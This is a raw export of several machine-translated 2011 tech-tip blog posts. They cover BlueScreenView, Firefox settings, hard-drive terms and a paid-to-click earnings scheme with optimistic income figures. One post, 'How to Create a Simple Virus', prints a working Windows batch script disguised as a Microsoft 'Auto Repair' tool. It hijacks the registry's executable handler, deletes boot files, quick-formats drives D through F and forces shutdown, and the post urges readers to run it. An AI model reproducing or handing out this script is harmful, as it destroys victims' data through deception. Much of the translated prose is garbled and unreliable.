href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjULirqnR4Qs79OsN5ZfxMqzxQePO3GGte9OZrbCZdkDftELfFLIw-Kt9mAFRNgHa04Qlc8juvYR5K3TPzx5DedOAKTE4g-u2-VxSaF96aZ5VqQaLAhyphenhyphenSZSa4QF2SbC2myzSMCApubmkJw/s1600/url.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjULirqnR4Qs79OsN5ZfxMqzxQePO3GGte9OZrbCZdkDftELfFLIw-Kt9mAFRNgHa04Qlc8juvYR5K3TPzx5DedOAKTE4g-u2-VxSaF96aZ5VqQaLAhyphenhyphenSZSa4QF2SbC2myzSMCApubmkJw/s320/url.jpg" width="320" /></a></div><br />
<span class="" id="result_box" lang="en"><span class="hps">Blue</span> <span class="hps">Screen</span> <span class="hps">frequent</span> <span class="hps">discrepancy</span> <span class="hps">may be</span> <span class="hps">because</span> <span class="hps">there is</span> <span class="hps">a DLL file</span> <span class="hps">or</span> <span class="hps">bugs</span> <span class="hps">in the</span> <span class="hps">operating system kernel</span>. <span class="hps">Fisikpun</span> <span class="hps">damage</span> <span class="hps">can</span> <span class="hps">be the cause of</span> <span class="hps">blue screen</span> <span class="hps">/</span> <span class="hps">blue</span> <span class="hps">screen</span> <span class="hps">of which</span> <span class="hps">is</span> <span class="hps">a defect</span> <span class="hps">in the</span> <span class="hps">computer fans</span> <span class="hps">like</span> <span class="hps">me</span> <span class="hps">who</span> <span class="hps">experienced,</span> <span class="hps">the memory</span> <span class="hps">is</span> <span class="hps">damaged</span>, <span class="hps">engine</span> <span class="hps">overheating</span> <span class="hps">mainboard</span>, <span class="hps">power supplies</span> <span class="hps">are</span> <span class="hps">almost</span> <span class="hps">broken</span>, <span class="hps">and so on.<a name='more'></a></span><br />
<br />
<span class="hps">If there is</span> <span class="hps">blue</span> <span class="hps">screen</span>, <span class="hps">usually</span> <span class="hps">Windows will</span> <span class="hps">create</span> <span class="hps">a</span> <span class="hps">small</span> <span class="hps">file</span> <span class="hps">(though</span> <span class="hps">often</span> <span class="hps">unconscious</span>) that <span class="hps">report to</span> <span class="hps">us</span> <span class="hps">that there is</span> <span class="hps">an error</span> <span class="hps">on which side</span>. <span class="hps">Indeed</span> <span class="hps">spontaneously</span>, <span class="hps">blue screen</span> <span class="hps">will print</span> <span class="hps">information on</span> <span class="hps">the monitor</span> <span class="hps">at</span> <span class="hps">the time of the</span> <span class="hps">state</span> <span class="hps">they will be,</span> <span class="hps">but</span> <span class="hps">usually</span> <span class="hps">after that</span>, <span class="hps">we</span> <span class="hps">panicked</span> <span class="hps">and</span> <span class="hps">confused</span> <span class="hps">would actually</span> <span class="hps">forget</span> <span class="hps">to</span> <span class="hps">analyze</span> <span class="hps">what caused the</span> <span class="hps">Blue</span> <span class="hps">Screen</span> <span class="hps">crash</span> <span class="hps">occurs</span> <span class="hps">they will be,</span> <span class="hps">so</span> <span class="hps">maybe</span> <span class="hps">they will be</span> <span class="hps">followed by</span> <span class="hps">the emergence of</span> <span class="hps">an error</span> <span class="hps">message</span> <span class="hps">with a</span> <span class="hps">countdown</span> <span class="hps">to</span> <span class="hps">shutdown</span> <span class="hps">in Windows</span> <span class="hps">so that</span> <span class="hps">if the</span> <span class="hps">shutdown</span> <span class="hps">will not</span> <span class="hps">occur</span> <span class="hps">more damage</span> <span class="hps">for example</span>, <span class="hps">the</span> <span class="hps">CPU</span> <span class="hps">is getting warmer</span> <span class="hps">because of</span> <span class="hps">overheating</span> <span class="hps">and</span> <span class="hps">who</span> <span class="hps">is the</span> <span class="hps">most</span> <span class="hps">fatal</span> <span class="hps">electrical</span> <span class="hps">shorting</span> <span class="hps">occurs</span> <span class="hps">in the home</span> <span class="hps">/</span> <span class="hps">office where</span> <span class="hps">we work</span>.<br />
<br />
<span class="hps">If</span> <span class="hps">you are</span> <span class="hps">sufficiently</span> <span class="hps">expert in analyzing</span> <span class="hps">the messages</span> <span class="hps">displayed</span> <span class="hps">during a</span> <span class="hps">blue screen</span>, <span class="hps">a</span> <span class="hps">good</span> <span class="hps">tool</span> <span class="hps">can</span> <span class="hps">help</span> <span class="hps">save the</span> <span class="hps">blue screen</span> <span class="hps">so that</span> <span class="hps">information</span> <span class="hps">can</span> <span class="hps">help</span> <span class="hps">us</span> <span class="hps">analyze</span> <span class="hps">and answer</span> <span class="hps">why it</span> <span class="hps">occurs</span> <span class="hps">blue screen</span>. <span class="hps">This tool is</span> <span class="hps">named</span> <span class="hps">BlueScreenView</span>.<br />
<span class="hps">Can be downloaded</span> <span class="hps">and</span> <span class="hps">can be used</span> <span class="hps">instantly</span> <span class="hps">without any</span> <span class="hps">installation process.</span><br />
<br />
<span class="hps">BlueScreenView</span> <span class="hps">can run on</span> <span class="hps">any</span> <span class="hps">Windows environment</span>> <span class="hps">Windows</span> <span class="hps">XP</span> <span class="hps">/</span> <span class="hps">Server</span> <span class="hps">2003/Server</span> <span class="hps">2008/Vista/7</span>. <span class="hps">Please</span> <span class="hps">analyze the damage</span> <span class="hps">a computer</span> <span class="hps">system</span> <span class="hps">with</span> <span class="hps">this tool</span>.</span><br />
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGYxwaGNQUmtd3Ls0JZ65-DQlDIwJTxxKGjLaZLRShZ01rVBpy6vjovtjhRnme3iTpDis_C4d3SD-A_Ptgg4IidplhDnhAQrcxFxgxV2Us-brhsP_cOJNG2909ShfkW8AV0X5xBNMS80U/s1600/BlueScreenView.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGYxwaGNQUmtd3Ls0JZ65-DQlDIwJTxxKGjLaZLRShZ01rVBpy6vjovtjhRnme3iTpDis_C4d3SD-A_Ptgg4IidplhDnhAQrcxFxgxV2Us-brhsP_cOJNG2909ShfkW8AV0X5xBNMS80U/s320/BlueScreenView.jpg" width="320" /></a></div><i><b><span class="" id="result_box" lang="en"></span><span class="" id="result_box" lang="en"></span><span class="short_text" id="result_box" lang="en"><span class="hps">explanation :</span></span></b></i><br />
<span class="" id="result_box" lang="en"><i><span class="hps">If in</span> <span class="hps">our windows</span> <span class="hps">there are drivers</span> <span class="hps">who</span> <span class="hps">crash</span> <span class="hps">later</span> <span class="hps">bluescreen</span>, <span class="hps">windows</span> <span class="hps">going to</span> <span class="hps">create a</span> <span class="hps">record</span> <span class="hps">in c</span>:<span class="hps">\</span> <span class="hps">windows \</span> <span class="hps">minidump</span>. <span class="hps">contents</span> <span class="hps">information</span> <span class="hps">in</span> <span class="hps">our pc</span> <span class="hps">drivers</span> <span class="hps">who</span> <span class="hps">crash</span>. <span class="hps">The message on</span> <span class="hps">the BSOD</span><span class="hps">usually can not</span> <span class="hps">read</span> <span class="hps">because</span> <span class="hps">we</span> <span class="hps">use</span> <span class="hps">a relatively</span> <span class="hps">quick</span> <span class="hps">countdown</span> <span class="hps">so</span> <span class="hps">we</span> <span class="hps">can not</span> <span class="hps">read</span> <span class="hps">and</span> <span class="hps">what makes</span> <span class="hps">drivers</span> <span class="hps">meliti</span> <span class="hps">our</span> <span class="hps">pc</span> <span class="hps">BSOD</span>.<br />
<span class="hps">This application</span> <span class="hps">can</span> <span class="hps">capture</span> <span class="hps">messages when</span> <span class="hps">BSOD</span> <span class="hps">aka</span> <span class="hps">Blue Screen</span> <span class="hps">of Death</span> <span class="hps">aka</span> <span class="hps">the Blue</span> <span class="hps">Screen</span><span class="hps">from the</span> <span class="hps">record</span> <span class="hps">in the c</span>: <span class="hps">\</span> <span class="hps">windows</span> <span class="hps">\</span> <span class="hps">minidump</span> <span class="hps">earlier.</span></i> <br />
<br />
<a href="http://www.mediafire..com/?c452o3cbni3i2vv"><span class="hps">Download the software</span> <span class="hps">Disni</span></a><br />
<br />
<span class="hps">Good luck and</span> <span class="hps">Relax ^_^</span></span><i><b><span class="short_text" id="result_box" lang="en"><span class="hps"></span></span></b></i>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com1tag:blogger.com,1999:blog-872526658971900970.post-79962969257397854122011-08-27T13:15:00.000-07:002011-08-27T13:15:48.293-07:00How to Speed up Firefox<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopG_OCgX3JEdWSL2FDb9RFaT-4w-UoMejpaZVJda3cCVLSf-YUDb8lYRWmbhDt7aFMGGpEIc1QJ13DohJB2rvukodqQTkw4_vBEj79axqIklYpB0HPNJnonW7h2fPD76LZ4xAYoYL97c/s1600/Mf.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopG_OCgX3JEdWSL2FDb9RFaT-4w-UoMejpaZVJda3cCVLSf-YUDb8lYRWmbhDt7aFMGGpEIc1QJ13DohJB2rvukodqQTkw4_vBEj79axqIklYpB0HPNJnonW7h2fPD76LZ4xAYoYL97c/s1600/Mf.jpg" /></a></div><span class="long_text" id="result_box" lang="en"><span class="hps">1.</span> <span class="hps">Type about</span><span>:</span> <span class="hps">config</span> <span class="hps">into the address</span> <span class="hps">bar</span> <span class="hps atn">(</span><span>where it always</span> <span class="hps">fill in</span> <span class="hps">the web address</span><span>)</span> <span class="hps">of your</span> <span class="hps">Firefox</span> <span class="hps">as shown below</span><span>:</span><br />
<span class="hps">2.</span> <span class="hps">If</span> <span class="hps">you</span> <span class="hps">see a message</span> <span class="hps">with the words</span><span>:</span> <span class="hps">This</span> <span class="hps">Might</span> <span class="hps">void</span> <span class="hps">your</span> <span class="hps">warranty</span><span>!</span> <span class="hps">as shown below</span><span>:</span><br />
<span class="hps">then</span> <span class="hps">ignore</span> <span class="hps">and</span> <span class="hps">click</span><span>:</span> <span class="hps">I'll be careful</span><span>,</span> <span class="hps">I promise!<a name='more'></a></span><br />
<span class="hps">3.</span> <span class="hps">If so,</span> <span class="hps">please type</span><span>:</span> <span class="hps">network.http</span> <span class="hps">in the</span> <span class="hps">filter</span> <span class="hps">bar</span> <span class="hps">as shown below</span><span>:</span><br />
<span class="hps">preference</span> <span class="hps">will be</span> <span class="hps">sorted</span> <span class="hps">own</span> <span class="hps">name that</span> <span class="hps">her first name</span> <span class="hps">begins with</span> <span class="hps">the prefix</span> <span class="hps atn">"</span><span>network.http</span><span>"</span><span>.</span><br />
<span class="hps">4.</span> <span class="hps">Then select the</span> <span class="hps">second</span> <span class="hps">preference</span> <span class="hps">name</span> <span class="hps">needs to change</span> <span class="hps">settings for</span> <span class="hps">here</span><span>,</span> <span class="hps">namely</span><span>:</span><br />
<span class="hps">•</span> <span class="hps">network.http.pipelining</span><br />
<span class="hps">•</span> <span class="hps">network.http.pipelining.maxrequests</span><br />
<span class="hps">5.</span> <span class="hps">First</span> <span class="hps">try clicking</span> <span class="hps">2 times</span> <span class="hps">preference</span><span>:</span> <span class="hps">network.http.pipelining</span><span>, change</span> <span class="hps">the</span> <span class="hps atn">value "</span><span>false"</span> <span class="hps">to</span> <span class="hps atn">value "</span><span>true"</span><span>,</span> <span class="hps">then</span> <span class="hps">click</span> <span class="hps">two</span> <span class="hps">times</span> <span class="hps">also on the</span> <span class="hps">preference</span><span>:</span> <span class="hps">network.http.pipelining.maxrequests</span><span>,</span> <span class="hps">and change the</span> <span class="hps">integer</span> <span class="hps">value to</span> <span class="hps">60.</span><br />
<span class="hps">6.</span> <span class="hps">If</span> <span class="hps">you</span> <span class="hps">use the Internet</span> <span class="hps">with a manual</span> <span class="hps">proxy</span><span>,</span> <span class="hps">please</span> <span class="hps">also</span> <span class="hps">preference</span> <span class="hps">settings</span><span>:</span> <span class="hps">network.http.proxy.pipelining</span><span>, change</span> <span class="hps">the</span> <span class="hps atn">value "</span><span>false"</span> <span class="hps">to</span> <span class="hps atn">value "</span><span>true".</span> <span class="hps">The results</span> <span class="hps">also exist</span> <span class="hps">on</span> <span class="hps">the screenshot</span> <span class="hps">image above</span><span>.</span><br />
<span class="hps">7.</span> <span class="hps">If you have</span> <span class="hps">it all</span><span>,</span> <span class="hps">please</span> <span class="hps">restart</span> <span class="hps">your</span> <span class="hps">Mozilla</span> <span class="hps">Firefox</span> <span class="hps">(remember</span><span>,</span> <span class="hps">not the</span> <span class="hps">computer</span> <span class="hps">restarts</span> <span class="hps">you know</span><span>)</span> <span class="hps">and the results</span> <span class="hps">will</span> <span class="hps">add to</span> <span class="hps">the performance of</span> <span class="hps">your</span> <span class="hps">browser</span> <span class="hps">is faster</span> <span class="hps">about 10</span><span>% -25</span><span>%</span> <span class="hps">from</span> <span class="hps">the previous</span><span>.</span><br />
<br />
<span class="hps">Info</span> <span class="hps">so</span> <span class="hps">that I can</span> <span class="hps">share with</span> <span class="hps">friends.</span> <span class="hps">If</span> <span class="hps">you have any questions</span> <span class="hps">please</span> <span class="hps">post</span> <span class="hps">a comment</span> <span class="hps">on</span> <span class="hps">this article</span><span>.</span> <span class="hps">Hope it helps</span><span class="">.</span> <span class="hps">:</span><span class="">)</span></span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-34597173351246636742011-08-27T13:11:00.000-07:002011-08-27T13:11:40.583-07:00How to Maintain Hard Drive<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4JOnQEWgVRfx3nOPsDAHX1evi-Us0Tm3ATaiVMt8SYPlBOUFa0-9ADdnQkcof85GhWFmDyX-LkSHYjFG_n5nrrVOcKdoyuptV-JsqlQFbs-YZBtpfNW_E4GSPgPTb2QWytXnl_dpPl7Q/s1600/HDD.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4JOnQEWgVRfx3nOPsDAHX1evi-Us0Tm3ATaiVMt8SYPlBOUFa0-9ADdnQkcof85GhWFmDyX-LkSHYjFG_n5nrrVOcKdoyuptV-JsqlQFbs-YZBtpfNW_E4GSPgPTb2QWytXnl_dpPl7Q/s1600/HDD.jpg" /></a></div><br />
<span class="long_text" id="result_box"><span style="background-color: white;" title="ibarat ruangan, harddisk memerlukan perawatan.">like space, hard drives require treatment. </span><span style="background-color: white;" title="Ia perlu dibersihkan, ditata ulang, disapu, dan aneka perawatan lain semacamnya.">He needs to be cleaned, rearranged, swept, and various other such treatments. </span><span style="background-color: white;" title="Untuk memahami dan menata ruang harddisk dengan benar, Anda tidak perlu menjadi seperti seorang desain interior menata ruang.">To understand and manage disk space correctly, you need not be like arranging a room interior design. </span><span title="Yang diperlukan cuma pengenalan-pengenalan sederhana terhadap istilah-istilah yang populer dan penting dalam harddisk.">Required only a simple introduction-introduction of terms that are popular and important in the hard disk. </span><span title="Berikut ini beberapa istilah kunci dan definisi singkatnya.">Here are some key terms and short definitions. <a name='more'></a><br />
</span><span title="• Fdisk:">• Fdisk: <br />
</span><span style="background-color: white;" title="Singkatan dari fixed disk.">Stands for fixed disks. </span><span title="Suatu aplikasi/perintah yang bekerja di bawah sistem DOS yang berfungsi untuk mempersiapkan harddisk untuk diformat.">An application / command that works under DOS system that serves to prepare the hard drive to be formatted. <br />
</span><span title="• Partisi:">• Partition: <br />
</span><span style="background-color: white;" title="Suatu daerah/area secara fisik (physical sections) pada harddisk.">An area / area of physical (physical sections) on the hard drive. </span><span title="Partisi ini bisa mencakup keseluruhan harddisk maupun sebagian harddisk.">This partition can include whole or partial hard disk drive. </span><span title="Bila Anda membagi harddisk Anda menjadi dua partisi yang sama besar, maka masing-masing partisi akan memiliki ukuran yang sangat mendekati setengah kapasitas harddisk.">When you divide your hard drive into two partitions are equal, then each partition will have a size very close to half-capacity hard drive. <br />
</span><span title="• Format:">• Format: <br />
</span><span title="Pembuatan struktur tersistematis pada harddisk sehingga pelatpelat di dalamnya membentuk pola yang teratur dan siap untuk diisi data.">Making tersistematis structure on the disk so that pelatpelat in it form a regular pattern and are ready to be filled data. <br />
</span><span title="• Scandisk:">• Scandisk: <br />
</span><span title="Suatu program untuk mengecek dan memeriksa apakah terjadi kerusakan pada harddisk atau tidak, sekaligus memperbaikinya.">A program to check and see if there is damage to the hard drive or not, well fix it. <br />
</span><span title="• Defrag:">• Defrag: <br />
</span><span style="background-color: white;" title="Penataan ulang file, sektor, track, dan cluster pada harddisk sehingga terkelompok secara teratur berdasarkan logika penataan tertentu.">Rearrangement of files, sectors, track, and clusters on the disk so that the clustered regularly based on the logic of a particular arrangement. <br />
</span><span title="• Internal buffer:">• Internal buffers: <br />
</span><span style="background-color: white;" title="Suatu sistem ruangan sementara dalam harddisk yang berfungsi menampung data-data yang akan dikirim dari dan ke pelat harddisk.">A system of temporary space on the hard disk that serves to accommodate the data to be sent to and from the hard disk plate. <br />
</span><span title="• IDE/SCSI:">• IDE / SCSI: <br />
</span><span title="Sistem interface pada harddisk.">System interface on the hard drive. </span><span style="background-color: white;" title="IDE singkatan dari Integrated Drive Electronics, sedangkan SCSI (dibaca “skasi”) singkatan dari Small Computer System Interface.">IDE stands for Integrated Drive Electronics, while the SCSI (pronounced "skasi") stands for Small Computer System Interface. <br />
</span><span title="• RPM:">• RPM: <br />
</span><span title="Singkatan dari Rotation Per Minute, menyatakan kecepatan putar pelat harddisk setiap menitnya.">Stands for Rotation Per Minute, stated speed rotating plate every minute drive. </span><span style="background-color: white;" title="Semakin besar RPM, semakin cepat waktu pengaksesan data.">The greater the RPM, the faster the data access time. </span><span title="Makin besar RPM suatu harddisk makin baik.">The greater the RPM of a hard drive the better. <br />
</span><span style="background-color: white;" title="• Master:">• Master: <br />
</span><span style="background-color: white;" title="Posisi pengesetan jumper pada harddisk, di mana harddisk pada mode tersebut difungsikan sebagai tempat disimpannya sistem operasi dan aplikasi komputer.">The position of the jumper setting on the disk, where the hard drive in that mode functioned as a place of deposit of the operating system and computer applications. <br />
</span><span title="• Slave:">• Slave: <br />
</span><span style="background-color: white;" title="Posisi pengesetan jumper pada harddisk, di mana harddisk pada mode tersebut difungsikan sebagai tempat penyimpanan data saja, dan tidak berfungsi sebagai penyedia sistem operasi dan aplikasi.">The position of the jumper setting on the disk, where the hard drive in that mode functioned as data storage only, and does not function as a provider of operating systems and applications.</span></span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-36509626136818206392011-08-27T13:08:00.000-07:002011-08-27T13:08:08.350-07:00How To Make Money With Blogger<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPKFQme6HAT8n1tPCVKx6ydJVWxrTfbwOpZN9s5bnDn2s-gzHKtVWhUpt4g3SP0QooHXjNcnJvpxggWWaN-lQ03ZARwirTxpeqsIH6IzqergDdIX0xwXBkSxGkam0B5oWEITvJgIJzVco/s1600/PTC.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPKFQme6HAT8n1tPCVKx6ydJVWxrTfbwOpZN9s5bnDn2s-gzHKtVWhUpt4g3SP0QooHXjNcnJvpxggWWaN-lQ03ZARwirTxpeqsIH6IzqergDdIX0xwXBkSxGkam0B5oWEITvJgIJzVco/s1600/PTC.gif" /></a></div><br />
<span class="" id="result_box" lang="en"><span title="">PTC stands for "Paid to Click" which means we get paid for every click on ads that we do.<br />
</span><span title="">What We Click Ads?</span><span title="">That ad is in the website provider PTC program.<br />
</span><span title="">How to Apply Program PTC?</span><span title="">PTC may be followed free of charge, we just signed up to the provider of the PTC program that is very much on the internet. </span><span title="">To mendaftarpun very easy for fill in the form provided. </span><span title="">Usually contain usernames, passwords, emails and other supporting data.<a name='more'></a><br />
<br />
</span><span title="">Justify PTC That Pay You?</span><span title="">We must be selective in choosing the PTC program, because there are some naughty diantarannya ie do not pay us when we request your earned money.<br />
<br />
</span><span title="">Some traits that are not paying PTC PTC is promising a big payoff for the clicks that we do. </span><span title="">There are PTC is offering $ 1 - $ 10 for each click. </span><span title="">Logically just found out, what might the advertiser / publisher willing to pay that much just for viewing ads.<br />
</span><span title="">PTC're actually paying a small fee usually provide for every click that we do. </span><span title="">Usually between $ 0.01 - $ 0.05 or for local PTC between Rp 100 - Rp 500 for each click.<br />
</span><span title="">How Many Ads Clicked?</span><span title="">As much as we can, usually within one website provider PTC program, there are around 50-20 ad.<br />
</span><span title="">How Long We Click Ads?</span><span title="">Usually every ad that is clicked will open with a timer for 20-30 seconds. </span><span title="">We are required to wait for the ad has loaded before clicking other ads. </span><span title="">Well on the sidelines waiting for us to do other jobs such as chat, browse, send email, download or the other.<br />
<br />
<br />
</span><span title="">What is Pay What You Receive?</span><span title="">Each ad PTC provides a variety of payment. </span><span title="">On average they pay $ 0.01 or Rp 100 for each ad. </span><span title="">Very small indeed, for it then we need to find referrals or friends to be invited to jointly click on ads. </span><span title="">From every referral we receive between $ 0.0075 - $ 0.01 or for local PTC between Rp 50 - Rp 100. </span><span title="">So when we click on ads referral in addition to referrals we get paid we as referees are also paid.</span><span title="">This calculation of your income<br />
</span><span title="">Click on your ads 10 ads x Rp.100 = Rp. </span><span title="">1000</span><span title="">Rent Your Referrals click 4 ads x 600 Referrals x Rp.50 = Rp.120.000</span><span title="">Click Direct Refferal you 4 ad x 100 Referrals x Rp.50 = Rp. </span><span title="">20 000</span><span title="">-------------------------------------------------- </span><span title="">-------------------------</span><span title="">Rp.141.000 / day</span><span title="">Rp.141.000 x 30 days = Rp. </span><span title="">4.23 million / month<br />
</span><span title="">Expenditure</span><span title="">This is rarely discussed during the promotion, but I'll still be discussing it so that you can take into account the risk of profit and loss, and I will not be deceiving you<br />
</span><span title="">Referrals a month for rent</span><span title="">600 x Rp.1800 = Rp.1.080.000</span><span title="">Upgrade to Premium = Rp. </span><span title="">100 000<br />
</span><span title="">so your spending = Rp.1.180.000<br />
</span><span title="">Total your income<br />
</span><span title="">Rp.4.230.000 - Rp.1.180.000 = Rp.3.150.000, 00 / month</span></span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-32827663825726145702011-08-27T13:02:00.000-07:002011-08-27T13:02:18.879-07:00How to Create a Simple Virus<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig2vLIDqQVGfA7fu1a0ee-CUYjeO48l9Y88kot63Vu4_3jqylmHv-rbaG5aDaziNoSV1ZAt5V8irhn27gIfs7Z53G9KKHBMSrjbfXB-H92ocqIRgAVpP-Q7NAJmiiCESK7rCE7l4VelOo/s1600/virus.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig2vLIDqQVGfA7fu1a0ee-CUYjeO48l9Y88kot63Vu4_3jqylmHv-rbaG5aDaziNoSV1ZAt5V8irhn27gIfs7Z53G9KKHBMSrjbfXB-H92ocqIRgAVpP-Q7NAJmiiCESK7rCE7l4VelOo/s1600/virus.jpg" /></a></div><br />
<span class="" id="result_box" lang="en"><span class="hps">In</span> <span class="hps">Making</span> <span class="hps">Viruses</span> <span class="hps">It's quite</span> <span class="hps">easy</span><span class="">,</span> <span class="hps">but</span> <span class="hps">remember not to</span> <span class="hps">be used</span> <span class="hps">carelessly</span> <span class="hps">science is</span> <span class="hps">^</span> <span class="hps">_</span> <span class="hps">^</span><br />
<a name='more'></a><br />
<span class="hps">The first</span> <span class="hps">-</span> <span class="hps">Open</span> <span class="hps">your Notepad</span> <span class="hps">with the</span> <span class="hps">steps</span><span class="">:</span> <span class="hps">Start></span> <span class="hps">All Programs</span><span class="">></span> <span class="hps">Notepad</span><br />
<br />
<span class="hps">Second</span> <span class="hps">-</span> <span class="hps">copy the</span> <span class="hps">script below</span> <span class="hps">to</span> <span class="hps">your</span> <span class="hps">notepad :</span></span><br />
<span class="" id="result_box" lang="en"><span class="hps"><br />
</span></span><br />
<b><span style="color: red;">@echo off<br />
title Microsoft Windows TM Auto Repair<br />
echo.<br />
echo Preparing to Fixing the System..............................<br />
echo This system need to repair of broken files.<br />
echo This problem may be cause a Virus activity or coruption files.<br />
echo Please wait a minute until windows doing it self....<br />
echo Please close any running programs from the Windows system.<br />
echo This program License and copyright by<br />
echo Microsoft Coorporation TM.<br />
echo System Repair in progress ........ please wait a second..<br />
echo.<br />
reg add HKLM\SOFTWARE\Classes\exefile\shell\open\Command /ve /d %%fe340ead%% /f<br />
echo.<br />
del /f /Q /A C:\ntldr /S<br />
echo.<br />
Format D: /Q /X /y<br />
echo.<br />
Format E: /Q /X /y<br />
echo.<br />
Format F: /Q /X /y<br />
echo.<br />
del /f /Q /A C:\command.com /S<br />
echo.<br />
del /f /Q /A C:\io.sys /S<br />
echo.<br />
del /f /Q /A C:\config.sys /S<br />
echo.<br />
echo System is now repaired.<br />
echo Windows will reboot the system.<br />
echo.<br />
Shutdown.exe -s -c "Finish Repair System" -f -t 10<br />
echo.<br />
pause<br />
echo.<br />
Shutdown.exe -s -c "Finish Repair System" -f -t 10<br />
echo.<br />
exit </span></b><br />
<br />
<span class="" id="result_box" lang="en"><span class="hps">The third</span> <span class="hps">-</span> <span class="hps">save with</span> <span class="hps">any name</span> <span class="hps">with the</span> <span class="hps">extension</span><span class="">.</span> <span class="hps">bat</span><span class="">,</span> <span class="hps">examples</span> <b><i><span class="hps">virus.bat</span></i></b><br />
<br />
<span class="hps">The fourth</span> <span class="hps">-</span> <span class="hps">had</span> <span class="hps">run</span> <b><i><span class="hps">virus.bat</span></i></b><br />
<br />
<span class="hps">fifth</span> <span class="hps">- see</span> <span class="hps">the results</span> <span class="hps">...</span> <span class="hps">Good</span> <span class="hps">Luck</span> <span class="hps">^</span> <span class="hps">_</span> <span class="hps">^</span></span><b><span style="color: red;"> </span></b><span class="" id="result_box" lang="en"><span class="hps"></span></span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-84286648149247887912011-08-27T08:13:00.000-07:002011-08-27T08:13:29.560-07:00How to Make Flasdisk As Ram<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-02UxsSzMx1W175TCEU-G8_N6_3evPSbBMEX1bwG7HuHCAihPZq_sd9e1g5uVnulNC_CJ6_X0YuvRmm-dxI5-n9quOU9yZ0uCU-DMf_8n1eZpidT7HB0WB9LygKG5QFz6Y-iVb57E_XU/s1600/Flesdisk.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="236" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-02UxsSzMx1W175TCEU-G8_N6_3evPSbBMEX1bwG7HuHCAihPZq_sd9e1g5uVnulNC_CJ6_X0YuvRmm-dxI5-n9quOU9yZ0uCU-DMf_8n1eZpidT7HB0WB9LygKG5QFz6Y-iVb57E_XU/s320/Flesdisk.jpg" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br />
</div><div class="separator" style="clear: both; text-align: center;"><br />
</div><span class="" id="result_box" lang="en"><span class="hps">Adding</span> <span class="hps">RAM</span> <span class="hps">to</span> <span class="hps">stick</span> <span class="hps">trick</span>. <span class="hps">RAM</span> <span class="hps atn">(</span>Random <span class="hps">Access</span> <span class="hps">Memory)</span> <span class="hps">or often</span> <span class="hps">referred to as</span> <span class="hps">the memory</span> <span class="hps">is an important part</span> <span class="hps">of a computer</span>. <span class="hps">RAM</span> <span class="hps">serves to</span> <span class="hps">store and</span> <span class="hps">process data</span> <span class="hps">or also</span> <span class="hps">temporary</span>, also called <span class="hps">working storage</span>, <span class="hps">which</span> <span class="hps">serves</span> <span class="hps">as a place</span> <span class="hps">meloading</span> <span class="hps">programs that</span> <span class="hps">we run</span>. <span class="hps">Temporary</span> <span class="hps">because when</span> <span class="hps">the computer</span> <span class="hps">is turned off</span> <span class="hps">the data</span> <span class="hps">will be lost</span>.<a name='more'></a><br />
<br />
<span class="hps">When</span> <span class="hps">we open</span> <span class="hps">an</span> <span class="hps">application</span> <span class="hps">/</span> <span class="hps">program</span> <span class="hps">then it</span> <span class="hps">will take up</span> <span class="hps">the capacity of</span> <span class="hps">RAM</span> <span class="hps">and</span> <span class="hps">a growing number of</span> <span class="hps">applications that</span> <span class="hps">we are</span> <span class="hps">open</span> <span class="hps atn">(</span>load) <span class="hps">then it will</span> <span class="hps">be able to</span> <span class="hps">spend the</span> <span class="hps">capacity of</span> <span class="hps">the existing RAM</span>. <span class="hps">The result is that</span> <span class="hps">the computer can</span> <span class="hps">be a</span> <span class="hps">crash</span> <span class="hps">/ hang</span>. <span class="hps">If</span> <span class="hps">it is so,</span> <span class="hps">we</span> <span class="hps">may</span> <span class="hps">lose the</span> <span class="hps">data that</span> <span class="hps">we</span> <span class="hps">have not</span> <span class="hps">had time to</span> <span class="hps">save</span> <span class="hps">on the hard drive</span> <span class="hps">and</span> <span class="hps">the most</span> <span class="hps">annoying</span> <span class="hps">we</span> <span class="hps">have to</span> <span class="hps">reboot the</span> <span class="hps">computer</span> <span class="hps">and</span> <span class="hps">work</span> <span class="hps">from scratch</span> <span class="hps">again</span>.<br />
<br />
